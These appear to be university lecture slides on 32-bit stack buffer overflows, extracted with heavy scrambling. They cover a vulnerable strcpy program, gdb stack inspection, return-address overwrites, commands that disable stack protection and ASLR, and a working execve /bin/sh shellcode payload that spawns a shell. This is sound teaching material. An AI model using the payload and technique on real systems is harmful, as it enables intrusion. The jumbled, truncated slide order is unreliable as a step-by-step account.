CSE 523S:
Systems Security
Computer & Network
Systems Security
Spring 2018
Jon Shidal
(slides borrowed from Dr. Crowley)
Plan for Today
• Announcements
• Questions
• Assignment
• Controlling addresses, shellcode (32-bit edition)
Assignment
• For Monday after Spring Break
– Readings
• HTAOE: Ch 5 303-318
• For Wednesday
– HW3 due
Last time
• We worked with two sample programs to
explore buffer overflow vulnerabilities
Dest
Buffer
Return AddrC
al
le
r
st
ac
k
fr
am
e
C
al
le
e
st
ac
k
fr
am
e
Return Addr
Expected
Input
Length Exploit
Code
Padding
&Exploit Code
M
al
ic
io
us
In
pu
t
A B C
#include
#include
#include
int check_answer(char *ans) {
int ans_flag = 0;
char ans_buf[16];
strcpy(ans_buf, ans);
if (strcmp(ans_buf, “forty-two”) == 0)
ans_flag = 1;
return ans_flag;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s
exit(0);
}
if (check_answer(argv[1])) {
printf(“Right answer!\n”);
} else {
printf(“Wrong answer!\n”);
}
}
On the command line
• Why do we see this last answer?
pcrowley@vbs:~/stack$ python -c “print ‘1’”
1
pcrowley@vbs:~/stack$ python -c “print ‘1’*10”
1111111111
pcrowley@vbs:~/stack$ ./ans_check $(python -c “print ‘1’”)
Wrong answer!
pcrowley@vbs:~/stack$ ./ans_check $(python -c “print ‘1’*16”)
Wrong answer!
pcrowley@vbs:~/stack$ ./ans_check $(python -c “print ‘1’*17”)
Right answer!
#include
#include
#include
int check_answer(char *ans) {
int ans_flag = 0;
char ans_buf[16];
strcpy(ans_buf, ans);
if (strcmp(ans_buf, “forty-two”) == 0)
ans_flag = 1;
return ans_flag;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s
exit(0);
}
if (check_answer(argv[1])) {
printf(“Right answer!\n”);
} else {
printf(“Wrong answer!\n”);
}
}
Our focus is on ans_buf.
That is where data
will be written to by
strcpy()
#include
#include
#include
int check_answer(char *ans) {
int ans_flag = 0;
char ans_buf[16];
strcpy(ans_buf, ans);
if (strcmp(ans_buf, “forty-two”) == 0)
ans_flag = 1;
return ans_flag;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s
exit(0);
}
if (check_answer(argv[1])) {
printf(“Right answer!\n”);
} else {
printf(“Wrong answer!\n”);
}
}
If we look at ans_flag,
we see it initialized
and then set only if
we see the value we
want. To a casual reader
of the code, ans_flag
won’t get written
anywhere else..
pcrowley@vbs:~/stack$ gdb -q ans_check
(gdb) break 10 # strcpy
Breakpoint 1 at 0x80484c1: file ans_check.c, line 10.
(gdb) break 15 # return
Breakpoint 2 at 0x80484f1: file ans_check.c, line 15.
(gdb) run 11111111111111111
Breakpoint 1, check_answer (ans=0xbffffaa2 ‘1’
10 strcpy(ans_buf, ans);
(gdb) x/s ans_buf
0xbffff82c: “x\203\004\b0\340\021”
(gdb) x/x &ans_flag
0xbffff83c: 0x00000000
(gdb) c
Continuing.
Breakpoint 2, check_answer (ans=0xbffffaa2 ‘1’
15 return ans_flag;
(gdb) x/s ans_buf
0xbffff82c: ‘1’
(gdb) x/x &ans_flag
0xbffff83c: 0x00000031
(gdb)
#include
#include
#include
int check_answer(char *ans) {
int ans_flag = 0;
char ans_buf[16];
strcpy(ans_buf, ans);
if (strcmp(ans_buf, “forty-two”) == 0)
ans_flag = 1;
return ans_flag;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s
exit(0);
}
if (check_answer(argv[1])) {
printf(“Right answer!\n”);
} else {
printf(“Wrong answer!\n”);
}
}
We learned what can
happen when you don’t
control for how much
input is given!
The reason
• ans_check prints “Right answer!” with 17 1s
because the test variable gets over written with
a non-zero value
• It is a coincidence that the compiler ordered the
buffer and test variable in this way
• The test variable could also have ended up in a register, or
ordered differently.
• Other methods do not rely on coincidence
Example
• Why do we see this last answer?
pcrowley@vbs:~/stack$ ./ans_check $(python -c “print ‘1’*16”)
Wrong answer!
pcrowley@vbs:~/stack$ ./ans_check $(python -c “print ‘1’*17”)
Right answer!
pcrowley@vbs:~/stack$ ./ans_check $(python -c “print
‘\x21\x85\x04\x08’*7”)
Right answer!
Segmentation fault
pcrowley@vbs:~/stack$ ./ans_check $(python -c “print
‘\x21\x85\x04\x08’*9”)
Wrong answer!
Segmentation fault
(gdb) disas /m main
Dump of assembler code for function main:
14 int main(int argc, char *argv[]) {
0x080484ce <+0>: push %ebp
0x080484cf <+1>: mov %esp,%ebp
0x080484d1 <+3>: and $0xfffffff0,%esp
0x080484d4 <+6>: sub $0x10,%esp
22 printf(“Wrong answer!\n”); 23 } End of assembler dump. The reason specially-crafted input over-wrote the return • Our buffer contained the start address of the • If we can control the return address, we can • Where does the seg fault come from? How do we find the return address • We can increment our input lengths until we get Two approaches on the command line pcrowley@vbs:~/stack$ ./ans_check $(python -c “print ‘0’*15”) Determining Addresses distance between the start of the input buffer and start of • Then, we can run the program in gdb with the • Let’s assume that we do not have source code • But we will use a variant of ans_check.c to make it easy ans_check3.c • Everything else is the same #include … char ans_buf[16]; printf(“ans_buf is at address %p\n”, &ans_buf); strcpy(ans_buf, ans); … Providing input in gdb • At this point, the stack frame we want is no pcrowley@vbs:~/stack$ gdb -q ans_check3 Program received signal SIGSEGV, Segmentation fault. (gdb) disass main Breakpoint 1, 0x080484e2 in check_answer () (gdb) i r esp buffer starts at 0xf81c This Stack, Illustrated • Our 28 copies of \30 overwrite the low-order bits of the saved • This buffer is not large enough to hold our exploit code! C le st k am C le st k am Saved ebp Expected Length A Exploit Safe &Exploit Code M ic us pu D 0xbffff858 ans_buf 0x0804854b B ans_flag, … 0xbffff800 16 \30s 0x0804854b C 0x30303030,3x ans_check4.c • Everything else is the same as ans_check3.c #include … int ans_flag = 0; char ans_buf[32]; printf(“ans_buf is at address %p\n”, &ans_buf); Writing executable code into a stack • Make the stack executable, 2 methods ans_check4 • sudo apt-get install execstack • Disable address space layout randomization • Keep the code within the buffer itself Building a Malicious Payload • Recall that we were able to control the return • Since we added 16 bytes to our buffer in • This confirms the length of the payload Shellcode • Shellcode is the binary-encoded program that • Process for creating it (we will revisit) \00 characters, because they will terminate string Shellcode example, stest.c • What does it do? #include //shell int main() Examine shellcode in stest.c • It opens a shell gcc stest.c -g -z execstack -o stest Building a Malicious Payload, 2 (continued) length of 52 bytes • Given this target length, we want the following structure • This payload includes the shellcode (25 bytes) and the return 2\x53\x89\xe1\xb0\x0b\xcd\x80’+’\x2c\xf8\xff\xbf‘ its length to a multiple of 4. Our aligned shellcode is now 28 bytes. • This is the final payload 3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80’+’\x2c\xf8\xff\xbf’*6 Executing a Malicious Payload • At this point, we could explore other shellcodes pcrowley@vbs:~/stack$ ./ans_check4 $(python -c “print (gdb) disass check_answer To work in gdb, use (gdb) x/32xw $esp Note that here in GDB, we How realistic was this? • We chose the buffer size • We chose the compile options • Is there another way? assumptions!
0x08048521 <+83>: movl $0x804862c,(%esp)
0x08048528 <+90>: call 0x8048380
24 }
0x0804852d <+95>: leave
0x0804852e <+96>: ret
(gdb)
• ans_check prints “Wrong answer!” because our
address
basic block that prints the “Wrong answer!”
message
control the program
location on the stack?
a segmentation fault
Wrong answer!
pcrowley@vbs:~/stack$ ./ans_check $(python -c “print ‘0’*16”)
Wrong answer!
pcrowley@vbs:~/stack$ ./ans_check $(python -c “print ‘0’*17”)
Right answer!
pcrowley@vbs:~/stack$ ./ans_check $(printf “%015x” 0)
Wrong answer!
pcrowley@vbs:~/stack$ ./ans_check $(printf “%016x” 0)
Wrong answer!
pcrowley@vbs:~/stack$ ./ans_check $(printf “%017x” 0)
Right answer!
pcrowley@vbs:~/stack$ ./ans_check $(python -c “print ‘0’*27”)
Right answer!
pcrowley@vbs:~/stack$ ./ans_check $(python -c “print ‘0’*28”)
Right answer!
Segmentation fault
• Triggering the segmentation fault informs us about the
the stack frame
– the approximate location of the return address
seg-faulting input and see where the buffer lives on the
stack
to check our work
#include
#include
longer available. So, let’s examine the asm.
Reading symbols from /home/pcrowley/stack/ans_check3…(no
debugging symbols found)…done.
(gdb) run $(python -c “print ‘0’*28”)
Starting program: /home/pcrowley/stack/ans_check3 $(python -c
“print ‘0’*28”)
ans_buf is at address 0xbffff81c
Right answer!
0x0000000a in ?? ()
(gdb)
Dump of assembler code for function main:
0x0804850a <+0>: push %ebp
0x0804850b <+1>: mov %esp,%ebp
0x08048546 <+60>: call 0x80484b4
(gdb) disass check_answer
Dump of assembler code for function check_answer:
0x080484b4 <+0>: push %ebp
0x080484b5 <+1>: mov %esp,%ebp
0x080484e2 <+46>: call 0x80483ac
(gdb) break *0x080484e2
(gdb) break *0x080484e7
(gdb) kill
Kill the program being debugged? (y or n) y
(gdb) run $(python -c “print ‘0’*28”)
Starting program: /home/pcrowley/stack/ans_check3 $(python -c
“print ‘0’*28”)
ans_buf is at address 0xbffff81c
(gdb)
esp 0xbffff800 0xbffff800
(gdb) x/32xw $esp
0xbffff800: 0xbffff81c 0xbffffa96 0xbffff818 0x001569d5
0xbffff810: 0x00295ff4 0x08049ff4 0xbffff828 0x08048378
0xbffff820: 0x0011e030 0x08049ff4 0xbffff858 0x00000000
0xbffff830: 0x00296324 0x00295ff4 0xbffff858 0x0804854b
0xbffff840: 0xbffffa96 0x0011e030 0x0804858b 0x00295ff4
0xbffff850: 0x08048580 0x00000000 0xbffff8d8 0x00156bd6
0xbffff860: 0x00000002 0xbffff904 0xbffff910 0x0012f858
0xbffff870: 0xbffff8c0 0xffffffff 0x0012bff4 0x080482bc
(gdb) c
Breakpoint 2, 0x080484e7 in check_answer ()
(gdb) i r esp
esp 0xbffff800 0xbffff800
(gdb) x/32xw $esp
0xbffff800: 0xbffff81c 0xbffffa96 0xbffff818 0x001569d5
0xbffff810: 0x00295ff4 0x08049ff4 0xbffff828 0x30303030
0xbffff820: 0x30303030 0x30303030 0x30303030 0x30303030
0xbffff830: 0x30303030 0x30303030 0xbffff800 0x0804854b
0xbffff840: 0xbffffa96 0x0011e030 0x0804858b 0x00295ff4
0xbffff850: 0x08048580 0x00000000 0xbffff8d8 0x00156bd6
0xbffff860: 0x00000002 0xbffff904 0xbffff910 0x0012f858
0xbffff870: 0xbffff8c0 0xffffffff 0x0012bff4 0x080482bc
(gdb)
ans_flag is at 0xf82c
prev ebp is at 0xf838
prev ret addr is at 0xf83c
ebp, which holds the bottom of the previous stack frame. This
later causes the seg fault.
al
r
ac
fr
e
al
e
ac
fr
e
Return Addr
Input
Code
Padding
al
io
In
t
#include
#include
…
buffer
– gcc ans_check4.c -g -m32 -z execstack -fno-stack-protector -o
– Or, use execstack on binary
• execstack -s ans_check4
– cat /proc/sys/kernel/randomize_va_space # Write down val
– sudo su –
– echo 0 > /proc/sys/kernel/randomize_va_space
– exit
– Later, you can put the original value back!
address with this command
– ./ans_check $(python -c “print ‘\x49\x85\x04\x08’*9”)
ans_check4.c, we now need this
– ./ans_check4 $(python -c “print ‘\x4f\x85\x04\x08’*13”)
you pass along as input to your buffer
– Write program in minimalist C
– Produce assembler version
– Manually translate to remove constructs that include
programs
char sc1[] =”\x31\xc0\x50\x68\x2f\x2f\x73\x68″
“\x68\x2f\x62\x69\x6e\x89\xe3\x50”
“\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80”;
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)sc1;
}
• This shellcode is just 25 bytes
objdump -D stest
0804a010
804a010: 31 c0 xor %eax,%eax
804a012: 50 push %eax
804a013: 68 2f 2f 73 68 push $0x68732f2f
804a018: 68 2f 62 69 6e push $0x6e69622f
804a01d: 89 e3 mov %esp,%ebx
804a01f: 50 push %eax
804a020: 89 e2 mov %esp,%edx
804a022: 53 push %ebx
804a023: 89 e1 mov %esp,%ecx
804a025: b0 0b mov $0xb,%al
804a027: cd 80 int $0x80
804a029: 00 00 add %al,(%eax)
• This payload only contains the start of ans_buf, and has the correct
– ‘\x2c\xf8\xff\xbf’*13
– Aligned shellcode + safe padding + return address
– Safe padding = values that represent safe memory read addresses
address (4 bytes), but is only 29 bytes long
– ‘\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe
– First, align the shellcode by padding with with 3 NOPs at the front to bring
– Second, repeat the return address 6x at end to bring the total to 52.
– ‘\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe
• Let’s verify our understanding in gdb
‘\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80’+’\x2c\xf8\xff\x
bf’*6”)
ans_buf is at address 0xbffff82c
$ id
uid=1000(pcrowley) gid=1000(pcrowley)
groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),118(
admin),121(sambashare),1000(pcrowley)
$ exit
pcrowley@vbs:~/stack$
Dump of assembler code for function check_answer:
0x080484e2 <+46>: call 0x80483ac
0x080484e7 <+51>: movl $0x804864a,0x4(%esp)
(gdb) break *0x080484e2
(gdb) break *0x080484e7
(gdb) run $(python -c “print
‘\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80’+’\x2c\xf8\xff\x
bf’*6”)
Breakpoint 1, 0x080484e2 in check_answer (
ans=0xbffffa7d
“\220\220\220\061\300Ph//shh/bin\211\343P\211\342S\211\341\260\v ̀,
\370\377\277,\370\377\277,\370\377\277,\370\377\277,\370\377\277,
\370\377\277“)
\xec\xf7\xff\xbf
0xbffff7d0: 0xbffff7ec 0xbffffa7d 0x0012c8f8 0x00295ff4
0xbffff7e0: 0x00244d19 0x0016f2a5 0xbffff7f8 0x001569d5
0xbffff7f0: 0x00295ff4 0x08049ff4 0xbffff808 0x08048378
0xbffff800: 0x0011e030 0x08049ff4 0xbffff838 0x00000000
0xbffff810: 0x00296324 0x00295ff4 0xbffff838 0x0804854b
0xbffff820: 0xbffffa7d 0x0011e030 0x0804858b 0x00295ff4
0xbffff830: 0x08048580 0x00000000 0xbffff8b8 0x00156bd6
0xbffff840: 0x00000002 0xbffff8e4 0xbffff8f0 0x0012f858
(gdb) c
Continuing.
Breakpoint 2, check_answer (ans=0xbffffa00 “\350\003”) at
ans_check4.c:14
(gdb) x/32xw $esp
0xbffff7d0: 0xbffff7ec 0xbffffa7d 0x0012c8f8 0x00295ff4
0xbffff7e0: 0x00244d19 0x0016f2a5 0xbffff7f8 0x31909090
0xbffff7f0: 0x2f6850c0 0x6868732f 0x6e69622f 0x8950e389
0xbffff800: 0xe18953e2 0x80cd0bb0 0xbffff82c 0xbffff82c
0xbffff810: 0xbffff82c 0xbffff82c 0xbffff82c 0xbffff82c
0xbffff820: 0xbffffa00 0x0011e030 0x0804858b 0x00295ff4
0xbffff830: 0x08048580 0x00000000 0xbffff8b8 0x00156bd6
0xbffff840: 0x00000002 0xbffff8e4 0xbffff8f0 0x0012f858
(gdb)
should use \xec\xf7\xff\xbf
• next week we’ll start loosening the